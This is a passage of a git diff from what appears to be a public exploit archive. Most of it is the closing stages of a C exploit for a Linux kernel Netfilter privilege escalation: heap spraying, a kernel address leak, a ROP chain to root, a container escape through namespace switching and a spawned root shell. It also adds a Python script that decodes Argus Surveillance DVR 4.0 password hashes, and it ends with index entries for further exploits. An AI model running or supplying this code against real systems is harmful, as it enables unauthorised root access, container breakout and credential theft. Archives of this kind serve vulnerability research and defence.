fake secondary messages...\n"); + memset(secondary_buf, 0, sizeof(secondary_buf)); + build_msg_msg((void *)secondary_buf, kheap_addr, kheap_addr, 0, 0); + if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0) + goto err_rmid; + + printf("[*] Freeing sk_buff data buffer...\n"); + if (read_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), MTYPE_FAKE) < 0) + goto err_rmid; + + printf("[*] Spraying pipe_buffer objects...\n"); + for (int i = 0; i < NUM_PIPEFDS; i++) { + if (pipe(pipefd[i]) < 0) { + perror("[-] pipe"); + goto err_rmid; + } + // Write something to populate pipe_buffer. + if (write(pipefd[i][1], "pwn", 3) < 0) { + perror("[-] write"); + goto err_rmid; + } + } + + printf("[*] Leaking and freeing pipe_buffer object...\n"); + for (int i = 0; i < NUM_SOCKETS; i++) { + for (int j = 0; j < NUM_SKBUFFS; j++) { + if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) { + perror("[-] read"); + goto err_rmid; + } + if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE) + pipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10]; + } + } + + kbase_addr = pipe_buffer_ops - ANON_PIPE_BUF_OPS; + printf("[+] anon_pipe_buf_ops: %" PRIx64 "\n", pipe_buffer_ops); + printf("[+] kbase_addr: %" PRIx64 "\n", kbase_addr); + + if ((kbase_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000) { + printf("[-] Error kernel base address is incorrect.\n"); + goto err_rmid; + } + + printf("\n"); + printf("[+] STAGE 4: Kernel code execution\n"); + + printf("[*] Spraying fake pipe_buffer objects...\n"); + memset(secondary_buf, 0, sizeof(secondary_buf)); + buf = (struct pipe_buffer *)&secondary_buf; + buf->ops = kheap_addr + 0x290; + ops = (struct pipe_buf_operations *)&secondary_buf[0x290]; +#ifdef KERNEL_COS_5_4_89 + // RAX points to &buf->ops. + // RCX points to &buf. + ops->release = kbase_addr + PUSH_RAX_JMP_QWORD_PTR_RCX; +#elif KERNEL_UBUNTU_5_8_0_48 + // RSI points to &buf. + ops->release = kbase_addr + PUSH_RSI_JMP_QWORD_PTR_RSI_39; +#endif + build_krop(secondary_buf, kbase_addr, kheap_addr + 0x2B0); + if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0) + goto err_rmid; + + // Trigger pipe_release(). + printf("[*] Releasing pipe_buffer objects...\n"); + for (int i = 0; i < NUM_PIPEFDS; i++) { + if (close(pipefd[i][0]) < 0) { + perror("[-] close"); + goto err_rmid; + } + if (close(pipefd[i][1]) < 0) { + perror("[-] close"); + goto err_rmid; + } + } + + printf("[*] Checking for root...\n"); + if ((fd = open("/etc/shadow", O_RDONLY)) < 0) { + printf("[-] Error could not gain root privileges.\n"); + goto err_rmid; + } + close(fd); + printf("[+] Root privileges gained.\n"); + + printf("\n"); + printf("[+] STAGE 5: Post-exploitation\n"); + + printf("[*] Escaping container...\n"); + setns(open("/proc/1/ns/mnt", O_RDONLY), 0); + setns(open("/proc/1/ns/pid", O_RDONLY), 0); + setns(open("/proc/1/ns/net", O_RDONLY), 0); + + printf("[*] Cleaning up...\n"); + for (int i = 0; i < NUM_MSQIDS; i++) { + // TODO: Fix next pointer. + if (i == fake_idx) + continue; + if (msgctl(msqid[i], IPC_RMID, NULL) < 0) + perror("[-] msgctl"); + } + for (int i = 0; i < NUM_SOCKETS; i++) { + if (close(ss[i][0]) < 0) + perror("[-] close"); + if (close(ss[i][1]) < 0) + perror("[-] close"); + } + if (close(s) < 0) + perror("[-] close"); + + printf("[*] Popping root shell...\n"); + char *args[] = {"/bin/bash", "-i", NULL}; + execve(args[0], args, NULL); + + return 0; + +err_rmid: + for (int i = 0; i < NUM_MSQIDS; i++) { + if (i == fake_idx) + continue; + if (msgctl(msqid[i], IPC_RMID, NULL) < 0) + perror("[-] msgctl"); + } + +err_no_rmid: + return 1; +} \ No newline at end of file diff --git a/exploits/windows/local/50130.py b/exploits/windows/local/50130.py new file mode 100755 index 000000000..b5e40619b --- /dev/null +++ b/exploits/windows/local/50130.py @@ -0,0 +1,54 @@ +# Exploit Title: Argus Surveillance DVR 4.0 - Weak Password Encryption +# Exploit Author: Salman Asad (@deathflash1411) +# Date: 12.07.2021 +# Version: Argus Surveillance DVR 4.0 +# Tested on: Windows 7 x86 (Build 7601) & Windows 10 +# Reference: https://deathflash1411.github.io/blog/cracking-argus-surveillance-passwords + +# Note: Argus Surveillance DVR 4.0 configuration is present in +# C:\ProgramData\PY_Software\Argus Surveillance DVR\DVRParams.ini + +# I'm too lazy to add special characters :P +characters = { +'ECB4':'1','B4A1':'2','F539':'3','53D1':'4','894E':'5', +'E155':'6','F446':'7','C48C':'8','8797':'9','BD8F':'0', +'C9F9':'A','60CA':'B','E1B0':'C','FE36':'D','E759':'E', +'E9FA':'F','39CE':'G','B434':'H','5E53':'I','4198':'J', +'8B90':'K','7666':'L','D08F':'M','97C0':'N','D869':'O', +'7357':'P','E24A':'Q','6888':'R','4AC3':'S','BE3D':'T', +'8AC5':'U','6FE0':'V','6069':'W','9AD0':'X','D8E1':'Y','C9C4':'Z', +'F641':'a','6C6A':'b','D9BD':'c','418D':'d','B740':'e', +'E1D0':'f','3CD9':'g','956B':'h','C875':'i','696C':'j', +'906B':'k','3F7E':'l','4D7B':'m','EB60':'n','8998':'o', +'7196':'p','B657':'q','CA79':'r','9083':'s','E03B':'t', +'AAFE':'u','F787':'v','C165':'w','A935':'x','B734':'y','E4BC':'z'} + +# ASCII art is important xD +banner = ''' +######################################### +# _____ Surveillance DVR 4.0 # +# / _ \_______ ____ __ __ ______ # +# / /_\ \_ __ \/ ___\| | \/ ___/ # +# / | \ | \/ /_/ > | /\___ \ # +# \____|__ /__| \___ /|____//____ > # +# \/ /_____/ \/ # +# Weak Password Encryption # +############ @deathflash1411 ############ +''' +print(banner) + +# Change this :) +pass_hash = "418DB740F641E03B956BE1D03F7EF6419083956BECB453D1ECB4ECB4" +if (len(pass_hash)%4) != 0: + print("[!] Error, check your password hash") + exit() +split = [] +n = 4 +for index in range(0, len(pass_hash), n): + split.append(pass_hash[index : index + n]) + +for key in split: + if key in characters.keys(): + print("[+] " + key + ":" + characters[key]) + else: + print("[-] " + key + ":Unknown") \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 0312d7284..a775e748d 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -11376,6 +11376,8 @@ id,file,description,date,author,type,platform,port 50047,exploits/windows/local/50047.txt,"Remote Mouse GUI 3.008 - Local Privilege Escalation",2021-06-21,"Salman Asad",local,windows, 50048,exploits/windows/local/50048.txt,"ASUS DisplayWidget Software 3.4.0.036 - 'ASUSDisplayWidgetService' Unquoted Service Path",2021-06-22,"Julio Aviña",local,windows, 50083,exploits/windows/local/50083.txt,"WinWaste.NET 1.0.6183.16475 - Privilege Escalation due Incorrect Access Control",2021-07-02,"Andrea Intilangelo",local,windows, +50130,exploits/windows/local/50130.py,"Argus Surveillance DVR 4.0 - Weak Password Encryption",2021-07-16,"Salman Asad",local,windows, +50135,exploits/linux/local/50135.c,"Linux Kernel 2.6.19 < 5.9 - 'Netfilter Local Privilege Escalation",2021-07-15,TheFloW,local,linux, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139 @@ -18513,6 +18515,8 @@ id,file,description,date,author,type,platform,port 50034,exploits/hardware/remote/50034.txt,"Dlink DSL2750U - 'Reboot' Command Injection",2021-06-18,"Mohammed Hadi",remote,hardware, 50039,exploits/solaris/remote/50039.py,"Solaris SunSSH 11.0 x86 - libpam Remote Root (3)",2021-06-21,"Nathaniel Singer",remote,solaris, 50070,exploits/android/remote/50070.py,"ES File Explorer 4.1.9.7.4 - Arbitrary File Read",2021-06-29,"Nehal Zaman",remote,android, +50133,exploits/hardware/remote/50133.py,"Aruba Instant 8.7.1.0 - Arbitrary File Modification",2021-07-16,Gr33nh4t,remote,hardware, +50136,exploits/cgi/remote/50136.py,"Aruba Instant (IAP) - Remote Code Execution",2021-07-15,"Aleph Security",remote,cgi, 6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php, @@ -44264,3 +44268,5 @@ id,file,description,date,author,type,platform,port 50127,exploits/php/webapps/50127.txt,"WordPress Plugin Current Book 1.0.1 - 'Book Title and Author field' Stored Cross-Site Scripting (XSS)",2021-07-14,"Vikas Srivastava",webapps,php, 50128,exploits/php/webapps/50128.py,"osCommerce 2.3.4.1 - Remote Code Execution (2)",2021-07-15,"Bryan Leong",webapps,php, 50129,exploits/php/webapps/50129.py,"WordPress Plugin Popular Posts 5.3.2 - Remote Code Execution (RCE) (Authenticated)",2021-07-15,"Simone Cristofaro",webapps,php, +50131,exploits/java/webapps/50131.py,"ForgeRock Access Manager/OpenAM 14.6.3 - Remote Code Execution (RCE) (Unauthenticated)",2021-07-16,Photubias,webapps,java, +50132,exploits/hardware/webapps/50132.py,"Seagate BlackArmor NAS sg2000-2000.1331 - Command Injection",2021-07-16,"Metin Yunus Kandemir",webapps,hardware,